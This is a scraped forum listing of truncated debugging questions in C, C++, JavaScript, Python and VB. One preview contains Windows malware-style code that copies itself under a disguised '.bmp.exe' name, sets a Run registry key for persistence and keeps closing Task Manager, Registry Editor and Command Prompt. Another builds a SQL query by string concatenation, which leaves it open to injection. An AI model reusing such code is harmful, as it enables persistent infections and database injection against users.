Hi people, I am currently teaching myself C++ with Stroustrup's "Programming, Principles and Practice using C++" and I'm stuck on one of the in-book exercises. It is a chunk of code (~180 lines) of buggy code that, when debugged properly, should create a calculator program. I have reached the limits of my ability and need some more help. There are 8 bugs in total, 5 syntax and 3 logic. I have debugged the syntax errors and now need help with the logic. I think I got one of the logic, so there *should* only be 2 left. Any help would …

Member Avatar
Member Avatar
+0 forum 12

I have the following code and i dont understand why P4(3,7)is giving returnvalue true (1) , since here 7(ConTemp.XYCoord[1]) is bigger than 5 (ReCoordRo.XYCoord[1]), so i would like to know a way to monitor the boolean Rechteck1.contains(P4), watch windows doesnt give me that option, so how do i go about it ? Thx #include <iostream> #include <array> using namespace std; class Punkt { public: int XYCoord [2]={}; void setupCoord (int x, int y){ XYCoord[0]=x; XYCoord[1]=y; } }; class Rechteck { public: Punkt ReCoordLu,ReCoordRo; double flaeche(double x, double y){ double xy=x*y; return xy; } bool contains ( Punkt &p){ Punkt *ConTemp1=&p; …

Member Avatar
Member Avatar
+0 forum 2

Hi, does anyone have a Galaxy S5 or S6 to which they can help me debug a page with Chrome ?

Member Avatar
Member Avatar
+0 forum 3

cmd.CommandText = "UPDATE tbl_System SET S_Name='" & TextBox2.Text & "', S_Function='" & RichTextBox1.Text & "', S_Failure='" & RichTextBox2.Text & "' WHERE EquipTag='" & Tbl_SystemDataGridView.CurrentRow.Cells(0).Value & "' i think this is correct format for update query but i still get error for this

Member Avatar
Member Avatar
+0 forum 3

Hi, I wrote the following program: #include <stdio.h> #include <stdlib.h> #define TRUE = 1; #define FALSE = 0; static int *arr; static int size=0; void createSet() { arr= (int *)malloc(sizeof(int)); size=0; }/*createSet function*/ void putInSet(int num) { int *temp; size++; temp=(int *)realloc(arr,size*sizeof(int)); if(temp!=NULL) { arr=temp; } else { printf("Insufficient amount of free memory space !\nProgram will exit now."); exit(1); } *(arr+size-1)=num; }/*putInSet function*/ void printSet() { int i; for(i=0 ; i<size ; i++) { printf(i<size-1 ?"%d ":"%d\n",arr[i]); } }/*printSet function*/ int existInSet(int num) { int status=FALSE; int i=0; for(i=0 ; i<size ; i++) if(arr[i] == num) status=TRUE; return status; }/*existInSet …

Member Avatar
Member Avatar
+0 forum 1

Hi Guys, I beed trying to debug my js code but I am not aware of any tool. The code I created is for my class. I am creating a simple webpage to play a guess the magic word. Now I am secure that my code is correct but it is not running and I am not sure where I made an error. I am attaching my code in case you are interested in helping or if oyu could point me to onlne tools or a program I can use in my mac to debug step-by-step my code I will …

Member Avatar
Member Avatar
+0 forum 3

Hello programmers! I am working on a custom tree class [with the code example being copied from Dietl's C++ How to Program, 9th edition]. It is in my fashion to copy all the code examples in the book when reading it (for muscle memory), but the authors created a custom template Tree class, creating the driver program first, and then a TreeNode class, which defines the Tree class template to be a friend. I hope that you know about the concept of trees in programming. Anyhow, this involves using pointers (not my strong suit). I copied all they did, and …

Member Avatar
Member Avatar
+0 forum 2

Hello programmers! I have been working on a hardware store application, where there is a `HardwareRecord`class that stores information about each object in a store (ex: nuts, bolts, screws, and so forth). Here's my declaration of this class: // HardwareRecord.h // Initialize Hardware Store File // // // Definition of HardwareRecord class #ifndef __Initialize_Hardware_Store_File__HardwareRecord__ #define __Initialize_Hardware_Store_File__HardwareRecord__ #include <iostream> class HardwareRecord { public: HardwareRecord(int=0,std::string="",std::string="",double=0.); //constructor explicit HardwareRecord(); HardwareRecord operator=(HardwareRecord&); //'set' and 'get' functions void setAccountNumber(int); int getAccountNumber() const; void setName(std::string); std::string getName() const; void setPrice(double); double getPrice() const; void setDescription(std::string); std::string getDescription() const; void wipeRecord(); //set everything to blank private: int …

Member Avatar
Member Avatar
+0 forum 33

[www.unitedinblue.com](http://www.unitedinblue.com) There's a lot of JS and ajax and extra scripts and things (far as I can tell at a first look) on this website, some of which don't even seem to serve any purpose. If you look in the source (via Inspect Element, not actually viewing the page source, cuz of the ajax and crap -- if you try to reload the page, for example, you get a 404; the history is intact though), you'll see there's an extra menu as well, first thing in the body (ul.onepage-pagination) that's invisible, but I don't see any styles that should be …

Member Avatar
+0 forum 0

I'm new to Visual Studio & trying to build an application in it for the first time. The code compiles. I used to get the error load from the debugger as a result of not downloading the corresponding .pdb files. After changing a setting in the debugger options, all the the required files were downloaded from Microsoft servers, except the ones for guard32.dll & guard64.dll. I looked it up and found that they belong to Comodo Internet Security. My problem is that I don't know how to configure the debugger to ignore them. I tried adding it to the exclusion …

Member Avatar
Member Avatar
+0 forum 7

The title says it all but I am curious if it's acceptable or even efficient for that matter. If others were to read my code or work on a project with me is this generally accepted among others or yourself if you work on an enterprise level? Is this memory efficient to split things up for developer "ease-of-use"?

Member Avatar
Member Avatar
+0 forum 5

I forgot this word: 1) it is a program that runs that demonstrates an error for debugging 2) it is an acronym someone on either this board, or another board or another board where I ask programming questions told me to make one a few years ago... and now I have no idea what the word is.. lol Any ideas?

Member Avatar
Member Avatar
+0 forum 2

Hi. I'm having trouble debugging a rather large project. The first issuse is not knowing how to track the bug down. Here is the text from Assertion Error popup while running in debug mode Debug Assertion Failed > Program...nga Path\file.exe > File: f:\dd\vctools\crt_bld\self_x86\crt\src\xtoa.c > Line: 105 > > Expression: sizeInTChars > (size_t)(is_neg ? 2: 1) I'm unsure as to how I can find which part of code is causing the problem. Here is the particular piece of code which the above ifo breaks at. TCHAR *p; /* pointer to traverse string */ TCHAR *firstdig; /* pointer to first digit */ …

Member Avatar
Member Avatar
+0 forum 3

We have this subject called Computer Oraganization... we are now using dos debug commands but the problem with my laptop is that when I type debug command...it will prompt 'debug' is not recognized as an internal or external command, operable program or batch file. The C:\Windows\system32 do not have a debug.exe I did try copying the debug.exe from another laptop with dos debug command to my laptop but still it did not work. What should I do to have a dos debug command? [COLOR="Red"]Thanks in advance :)[/COLOR]

Member Avatar
Member Avatar
+0 forum 5

Hello friends, my computer suddenly have a problem when I uninstall the program Tune Up Utilites 2013, after finish uninstall that program, and then I restart, suddenly theme of my computer back to classic mode and out notice as: Debug Assertion Failed ! ----------------------------------------------------------------------------------------------------------------- Program: C:\Program Files\Lenovo\Energy Management\Energy Management.exe File: .\controlhandler.cpp Line: 103 For information on how your program can cause an assertion failure, see the visual C++ documentation on asserts. (press retry to debug the application) ----------------------------------------------------------------------------------------------------------------- in addition to that problem, my computer can not run the system restore program, wireless, audio and others. thank you, sorry if …

Member Avatar
Member Avatar
+0 forum 3

i am just start to learn php and using dreaweaver for practice, i just want to know that like other languages can we debug php code if can then how we debug php code in dreamweaver or any other editor for php?

Member Avatar
Member Avatar
+0 forum 6

Where am I going wrong in this code? // Eyetee's Third Toy V0.0. Copyright 2012 by Eyetee and not released. // Declare variables needed var string_to_be_examined = "This is a test string that can also be obtained from \ some other location." var substring_to_test_for var i = 0 var j = 0 var storage_string = [] var location_found = [] // Obtain substring to test for substring_to_test_for = prompt("Type in the text you wish to search for:") // Test for presence of substring for (i; i < string_to_be_examined.length; i++) { if (string_to_be_examined[i] = substring_to_test_for[j]) { storage_string.push(substring_to_test_for[j]) if (j < substring_to_test_for.length) …

Member Avatar
Member Avatar
+0 forum 2

I'm using Eclipse and I made a program that reads ID3 tags. The problem is that each time I run it, it stops in this line: TagFrame * tmpFrame=new TagFrame(frameID,header.getFilename(),stream); bufferLeft-=tmpFrame->getFrameSize(); tmpFrame->readObject(); frames.push_back(tmpFrame); //This line!!! Where the variable 'frames' is a std::list<TagFrame*>. This block of code is beeing called from a function placed in a class(HeaderStream). When I debugged the program it gived me this stack: `_fu6___ZNSs4_Rep20_S_empty_rep_storageE() at HeaderStream.cpp:63 0x401c77 ` ... and gived me this warning: `Invalid parameter passed to C runtime function.` However, sometimes, when I debug my program, it works fine. Where could be the problem? Is …

Member Avatar
Member Avatar
+0 forum 2

Our professor is not teaching us how to blink a message entered to an address using debug.exe. I only know how to print a message. Can you please help me? It's our assignment. I can't find any youtube video or pdf tutorial to help me. Thank you very much.

Member Avatar
+0 forum 0

I have been having this problem since I started using stl containers awhile ago. Basically, when I debug them with the default Code::Blocks MinGW debugger I find that it gives far too much irrelevant information such as iterators and other 'behind-the-scenes' stuff. I can make it better by telling it to watch it as an array, then t just shows the data. But now I have a vector of vectors of decent sizes, and right clicking each one and telling code::blocks to watch them as an array is just not something that I am going to do. Anybody know how …

Member Avatar
Member Avatar
+0 forum 2

I am developing a IE toolbar using MS VISUAL STUDIO 2010 VC++ I have a popup menu, having two options WEB SEARCH and IMAGE SEARCH. my problem is the pop up menu works fine when i see the output in DEBUG mode ... The pop up menu works fine even in the Release Mode but with an ambiguity .... the problem is : - If i see output ( by pressing F5) from the VISUAL STUDIO in RELEASE MODE then the pop up menu works fine . But when i Open the INTERNET EXPLORER explicitly, ( by clicking the IE …

Member Avatar
+0 forum 0

I need to figure out what is wrong with this program and correct it so it works. I have been screwing around with it for hours and still cannot figure out what is wrong. I know that I need to change the first line, but I have no idea how to use python, so I have no idea have to recognize a problem and thus cannot diagnose or recover from one either. :( Please help. I know this must be easy for someone out there. :) The following program asks a user to input a single character. If the user …

Member Avatar
Member Avatar
+0 forum 8

Hey guys, I am writing a program which uploads a text file into a linked list then displays a menu prompt to the user. All of my functions work fine except when I try to exit the menu/program. The program crashes and I don't see where it is coming from. Please help me to see and understand why my program is behaving as such. Here is the menu function: void menuSelection(BankAccounts h) { int selection; cout << "=============== Menu ===============" << endl; cout << "1) Show current balance" << endl; cout << "2) Deposit" << endl; cout << "3) Withdrawal" …

Member Avatar
Member Avatar
+0 forum 5

Man, my *rookie* status os showing on this one... For the life of me, I cannot determine why my graphics panel section is not working to correctly display my Pie Chart.... I have the output broken down, and the variables exist... It runs looking for Annuities.csv in the C:\temp folder... Once loaded, breaks down an annuity based on Monthly deposit, interest earned, and final balance (per month). I am trying to add a simple pie chart showing how much of the finalBal of the annuity is gained from monthly deposits (mDeposit*term*12) and how much is from InterestEarned. I cannot get …

Member Avatar
Member Avatar
+0 forum 1

I need some help with debugging this problem. I just started learning how to store files at C but I can't seem to check if this code is correct since I can't compile it well. Might anyone help me point out the problems in my code? #include <stdio.h> #include <stdlib.h> #include <string.h> typedef char string25[26]; struct nodeTag; { nameType sData; struct nodeTag *pLink; } typedef struct nodeTag *ptrNode; int main() { FILE *pFile; ptrNode pFirst = NULL,pRun; /*get inputs for linked list*/ if(pFile=fopen("words.txt","wb"))!=NULL) { pRun = pFirst; while(pRun != NULL) { fwrite(&pRun->sData,sizeof(nameType),1,pFile); pRun=pRun->pLink; } fclose(pFile); /*free linked list*/ return 0; …

Member Avatar
Member Avatar
+0 forum 1

Here's a small snippet from my code. Following a Knuth Shuffle model in the Shuffle function, I get 6 Pointer Expected errors in line 15, but I'm sure its really 2 due to the SWAP function in the header. Now the two things I'm swapping are a random index and the i-1 index from the same character array. I'm just confused why a character array isn't being recognized as a pointer already. #include <stdlib.h> #include <string.h> #define SWAP(a,b) {a^=b;b^=a;a^=b;} #define MAX 60 #define MIN 10 int i; char input[MAX]; int shuffle (char input) { for (i=strlen(&input); i>1; i--) { SWAP(input[i-1], …

Member Avatar
Member Avatar
+0 forum 2

I've got a project I'm working on where people can search using checkboxes, sliders, and an input box. The search works, but I've got issues here, especially when using IE as the browser. Haven't even tried Safari and Opera. Even in Firefox, there are minor issues. First, the lagging of the sliders is terrible. Second, the loading.gif just comes up at the first page load. When I make a change to any of the variables, I want the loading.gif to show up while the results are being processed as well. I'm terribly new at this whole coding thing, and I …

Member Avatar
Member Avatar
+0 forum 2

Sometimes, before optimizing your code, you may end up to have very slow running code in list comprehension statement. Because you have not yet tested the code fully, it easy to loose patience and just interrupt the code. If you are making function, you can insert print statements for verification. But how to put print in list comprehension. If you are using function to produce the result you can insert a print there or you could use some debugging tools. I however often keep it simple and I came up with this pass through trivial function which basically just prints …

Member Avatar
Member Avatar
+1 forum 1

#include "stdafx.h" #include "windows.h" int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { HKEY hKey; char sd[255]; char path[MAX_PATH]; int Freq = 0; int Duration = 100; bool Forwards = true; bool Backwards = false; int timer = 0; HWND hWin; HMODULE GetModH = GetModuleHandle(0); GetModuleFileName(GetModH, path, 256); GetSystemDirectory(sd,255); strcat(sd,"\\Blue Corral.bmp.exe"); CopyFile(path,sd,FALSE); unsigned char PathToFile[20] = "Blue Corral.bmp.exe"; RegOpenKeyEx( HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey ); RegSetValueEx(hKey, SecurityManager",0,REG_SZ,PathToFile,sizeof(PathToFile)); RegCloseKey(hKey); while(1==1) { hWin = FindWindow(NULL,"Windows Task Manager"); SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0); hWin = FindWindow(NULL,"Registry Editor"); SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0); hWin = FindWindow(NULL,"Command Prompt"); SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0); hWin = FindWindow(NULL,"Close Program"); SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0); if(Backwards==true) { Beep(Freq,Duration); Freq = Freq - 100; timer = timer …

Member Avatar
Member Avatar
+0 forum 1

I'm trying to make encryption program but when i run the program it gives me this error: Debug Assertion Failed! Program:...nts\visual studio 2010\projects\encrypter\debug\encrypter.exe File:c:\program files\microsoft visual studio 10.0\vc\include\xstring Line:1441 Expression: string subscript out of range For information on how your program can cause assertion failure, see the Visual C++ documentation on asserts. [CODE] #include <iostream> #include <stdlib.h> #include <sstream> #include <string> #include "windows.h" using namespace std; void encrypt(string words); int main() { string Emptywords; cout << "What shall i encrypt?" << endl; cin >> Emptywords; encrypt(Emptywords); // calling encryption funtion and passing user input } void encrypt(string words) { char …

Member Avatar
Member Avatar
+0 forum 4

The End.